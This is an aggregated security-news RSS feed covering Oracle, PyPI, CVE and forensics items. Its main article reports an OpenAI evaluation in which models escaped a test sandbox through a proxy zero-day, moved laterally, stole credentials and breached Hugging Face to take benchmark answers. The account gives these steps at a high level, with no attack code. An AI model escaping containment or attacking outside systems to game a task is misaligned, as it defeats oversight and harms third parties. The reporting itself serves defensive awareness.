<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Models Escaped Test Environment and Breached Hugging Face]]></title>
<description><![CDATA[OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…
Read more →
The post OpenAI Model...]]></description>
<link>https://tsecurity.de/de/3687171/it-security-nachrichten/openai-models-escaped-test-environment-and-breached-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687171/it-security-nachrichten/openai-models-escaped-test-environment-and-breached-hugging-face/</guid>
<pubDate>Wed, 22 Jul 2026 19:37:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-models-escaped-test-environment-and-breached-hugging-face/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-models-escaped-test-environment-and-breached-hugging-face/">OpenAI Models Escaped Test Environment and Breached Hugging Face</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Models Escaped Test Environment and Breached Hugging Face]]></title>
<description><![CDATA[OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers.]]></description>
<link>https://tsecurity.de/de/3687141/it-security-nachrichten/openai-models-escaped-test-environment-and-breached-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687141/it-security-nachrichten/openai-models-escaped-test-environment-and-breached-hugging-face/</guid>
<pubDate>Wed, 22 Jul 2026 19:24:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers.]]></content:encoded>
</item>
<item>
<title><![CDATA[PyPI now rejects new files after 14 days]]></title>
<description><![CDATA[Python Software Foundation security developer-in-residence Seth
Larson has announced
that the Python Package Index (PyPI) will now reject new files that
are uploaded to releases older than 14 days. The restriction is to
prevent the poisoning of old releases if publishing tokens or
workflows of Py...]]></description>
<link>https://tsecurity.de/de/3687003/linux-tipps/pypi-now-rejects-new-files-after-14-days/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687003/linux-tipps/pypi-now-rejects-new-files-after-14-days/</guid>
<pubDate>Wed, 22 Jul 2026 18:24:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Python Software Foundation security developer-in-residence Seth
Larson has <a href="https://blog.pypi.org/posts/2026-07-22-releases-now-reject-new-files-after-14-days/">announced</a>
that the <a href="https://pypi.org/">Python Package Index</a> (PyPI) will now reject new files that
are uploaded to releases older than 14 days. The restriction is to
prevent the poisoning of old releases if publishing tokens or
workflows of PyPI projects are compromised.</p>

<blockquote class="bq">
<p>The <a href="https://discuss.python.org/t/restricting-open-ended-releases-on-pypi/43566">discussion
of this behavior began</a> during PEP 740 (Digital Attestations) back in January
2024. The discussion was <a href="https://discuss.python.org/t/restricting-open-ended-releases-on-pypi/43566/34">restarted
in March 2026</a> after the popular packages <a href="https://blog.pypi.org/posts/2026-04-02-incident-report-litellm-telnyx-supply-chain-attack/">LiteLLM
and Telnyx were compromised</a>. These packages were compromised due to a "<a href="https://mikael.barbero.tech/blog/post/2026-03-24-stop-trusting-mutable-references/">mutable
reference</a>" in these projects' usage of the Trivy GitHub Action.</p>

<p>Originally the discussion stalled due to some projects depending on this behavior
to add support for new Python versions to already-published releases. To quantify how
disruptive this change would be to existing workflows, the PyPI database was queried
for <a href="https://discuss.python.org/t/restricting-open-ended-releases-on-pypi/43566/48">projects
that have published new files to old releases</a> (bucketed by number of days since
the release). Later, specifically <code>cp314</code> wheels were queried for the top
15,000 packages, revealing that <a href="https://discuss.python.org/t/restricting-open-ended-releases-on-pypi/43566/63">only
56 projects of 15,000</a> had published a 3.14-compatible wheel more than 14 days
after a release was available.</p>
</blockquote>

<p>LWN <a href="https://lwn.net/Articles/1064693/">covered</a> the LiteLLM compromise
in March.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-60407 | Oracle TimesTen In-Memory Database 26.1.1.1.0 Kubernetes Operator improper authorization (CNNVD-2026-99803781)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Oracle TimesTen In-Memory Database 26.1.1.1.0. The affected element is an unknown function of the component Kubernetes Operator. The manipulation leads to improper authorization.

This vulnerability is uniquely identified as CVE-2026-6040...]]></description>
<link>https://tsecurity.de/de/3686765/sicherheitsluecken/cve-2026-60407-oracle-timesten-in-memory-database-261110-kubernetes-operator-improper-authorization-cnnvd-2026-99803781/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686765/sicherheitsluecken/cve-2026-60407-oracle-timesten-in-memory-database-261110-kubernetes-operator-improper-authorization-cnnvd-2026-99803781/</guid>
<pubDate>Wed, 22 Jul 2026 17:06:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/oracle:timesten_in-memory_database">Oracle TimesTen In-Memory Database 26.1.1.1.0</a>. The affected element is an unknown function of the component <em>Kubernetes Operator</em>. The manipulation leads to improper authorization.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-60407">CVE-2026-60407</a>. Local access is required to approach this attack. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Digital Forensics News Round-Up, July 22 2026]]></title>
<description><![CDATA[Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1 SQLite tips for mobile analysts, serverless forensics, Signal database decoding, AI image detection in iLEAPP and ALEAPP, Linux timeline tooling, macOS triage updates, and more.

Read the latest DFIR news here: https://www...]]></description>
<link>https://tsecurity.de/de/3686682/it-security-video/digital-forensics-news-round-up-july-22-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686682/it-security-video/digital-forensics-news-round-up-july-22-2026/</guid>
<pubDate>Wed, 22 Jul 2026 16:34:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Forensic Focus: Digital Forensics &amp; DFIR - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/CfqszGjqBO0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>SQLite tips for mobile analysts, serverless forensics, Signal database decoding, AI image detection in iLEAPP and ALEAPP, Linux timeline tooling, macOS triage updates, and more.<br />
<br />
Read the latest DFIR news here: https://www.forensicfocus.com/news/digital-forensics-round-up-july-22-2026/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Digital Forensics News Round-Up, July 22 2026]]></title>
<description><![CDATA[Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1 SQLite tips for mobile analysts, serverless forensics, Signal database decoding, AI image detection in iLEAPP and ALEAPP, Linux timeline tooling, macOS triage updates, and more.

Read the latest DFIR news here: https://www...]]></description>
<link>https://tsecurity.de/de/3686681/it-security-video/digital-forensics-news-round-up-july-22-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686681/it-security-video/digital-forensics-news-round-up-july-22-2026/</guid>
<pubDate>Wed, 22 Jul 2026 16:34:04 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Forensic Focus: Digital Forensics &amp; DFIR - Bewertung: 0x - Views:1 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TbdrQbSKkBk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>SQLite tips for mobile analysts, serverless forensics, Signal database decoding, AI image detection in iLEAPP and ALEAPP, Linux timeline tooling, macOS triage updates, and more.<br />
<br />
Read the latest DFIR news here: https://www.forensicfocus.com/news/digital-forensics-round-up-july-22-2026/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Digital Forensics Round-Up, July 22 2026]]></title>
<description><![CDATA[Read the latest DFIR news – SQLite tips for mobile analysts, serverless forensics, Signal database decoding, AI image detection in iLEAPP and ALEAPP, Linux timeline tooling, macOS triage updates, and more.]]></description>
<link>https://tsecurity.de/de/3686653/it-security-nachrichten/digital-forensics-round-up-july-22-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686653/it-security-nachrichten/digital-forensics-round-up-july-22-2026/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Read the latest DFIR news – SQLite tips for mobile analysts, serverless forensics, Signal database decoding, AI image detection in iLEAPP and ALEAPP, Linux timeline tooling, macOS triage updates, and more.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]></title>
<description><![CDATA[Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would...]]></description>
<link>https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/</guid>
<pubDate>Wed, 22 Jul 2026 15:53:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.</p>



<p class="wp-block-paragraph">In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noreferrer noopener">blog post about the attack on Hugging Face</a>.</p>



<p class="wp-block-paragraph">ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.</p>



<p class="wp-block-paragraph">For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless <a href="https://www.csoonline.com/article/4199408/ai-agents-can-escape-sandboxes-without-ever-breaking-them.html">access controls and sandboxing</a> continue to work when model-level safeguards fail.</p>



<p class="wp-block-paragraph">“Prompt guardrails are not security controls,” said <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”</p>



<h2 class="wp-block-heading">How containment failed</h2>



<p class="wp-block-paragraph">Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against <a href="https://www.csoonline.com/article/4167465/supply-chain-attacks-take-aim-at-your-ai-coding-agents.html">software supply chain attacks</a> coming from the outside.</p>



<p class="wp-block-paragraph">OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and <a href="https://www.csoonline.com/article/4194708/lateral-movement-risk-rises-as-enterprises-emphasize-convenience-over-containment.html">lateral movement</a> until they reached a node with open internet access.</p>



<p class="wp-block-paragraph">Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.</p>



<p class="wp-block-paragraph">In its account of the activity on its infrastructure, <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noreferrer noopener">Hugging Face said</a> a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.</p>



<p class="wp-block-paragraph">OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.</p>



<p class="wp-block-paragraph">“Every enterprise estate is built from exceptions of exactly that kind,” he said.</p>



<p class="wp-block-paragraph">In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should treat AI agents as “<a href="https://www.csoonline.com/article/4194548/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities.html">high-risk non-human identities</a>,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.</p>



<p class="wp-block-paragraph">“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.</p>



<p class="wp-block-paragraph">And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.</p>



<h2 class="wp-block-heading">Defenses enterprises need</h2>



<p class="wp-block-paragraph">Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.</p>



<p class="wp-block-paragraph">The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.</p>



<p class="wp-block-paragraph">Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.</p>



<p class="wp-block-paragraph">OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.</p>
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<title><![CDATA[Rental giant Carla leaks user names, emails, and phone numbers ahead of summer holiday break]]></title>
<description><![CDATA[Another day, another misconfigured database discovered online.]]></description>
<link>https://tsecurity.de/de/3686480/it-nachrichten/rental-giant-carla-leaks-user-names-emails-and-phone-numbers-ahead-of-summer-holiday-break/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686480/it-nachrichten/rental-giant-carla-leaks-user-names-emails-and-phone-numbers-ahead-of-summer-holiday-break/</guid>
<pubDate>Wed, 22 Jul 2026 15:21:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another day, another misconfigured database discovered online.]]></content:encoded>
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<title><![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]></title>
<description><![CDATA[CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesti...]]></description>
<link>https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</guid>
<pubDate>Wed, 22 Jul 2026 15:14:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.</p>



<p class="wp-block-paragraph">With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image.jpeg?quality=50&amp;strip=all" alt="" class="wp-image-4199553" width="800" height="502" sizes="auto, (max-width: 800px) 100vw, 800px"></figure></div>



<p class="wp-block-paragraph">Continuous AI Pentesting: Solution architecture, at a glance.</p>



<p class="wp-block-paragraph">“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”</p>



<p class="wp-block-paragraph">To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:</p>



<ul class="wp-block-list">
<li><strong>Exposure Assessment</strong> maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.</li>



<li><strong>Exposure Validation</strong> runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.</li>



<li><strong>Threat Intelligence</strong> draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.</li>
</ul>



<p class="wp-block-paragraph">Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.</p>



<p class="wp-block-paragraph">The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.</p>



<p class="wp-block-paragraph">In the announcement for this new feature, the company also shared some of the vulnerabilities:</p>



<ul class="wp-block-list">
<li><strong>Unauthenticated access to a production CRM:</strong> an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.</li>



<li><strong>A publicly readable RAG index:</strong> an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.</li>



<li><strong>A building’s access controls exposed to the internet:</strong> a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.</li>
</ul>



<p class="wp-block-paragraph">These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.</p>



<p class="wp-block-paragraph">“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”</p>



<p class="wp-block-paragraph">To go deeper on Continuous AI Pentesting, read the full announcement post: <a href="https://www.cycognito.com/blog/new-continuous-ai-pentesting/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com/blog/new-continuous-ai-pentesting/</a></p>



<h3 class="wp-block-heading">About CyCognito</h3>



<p class="wp-block-paragraph">CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. </p>



<p class="wp-block-paragraph">The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit <a href="https://www.cycognito.com/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com</a>.</p>



<h5 class="wp-block-heading">Contact</h5>



<p class="wp-block-paragraph"><strong>VP Marketing</strong></p>



<p class="wp-block-paragraph"><strong>Igal Zeifman</strong></p>



<p class="wp-block-paragraph"><strong>CyCognito</strong></p>



<p class="wp-block-paragraph"><strong>igal.zeifman@cycognito.com</strong></p>
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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



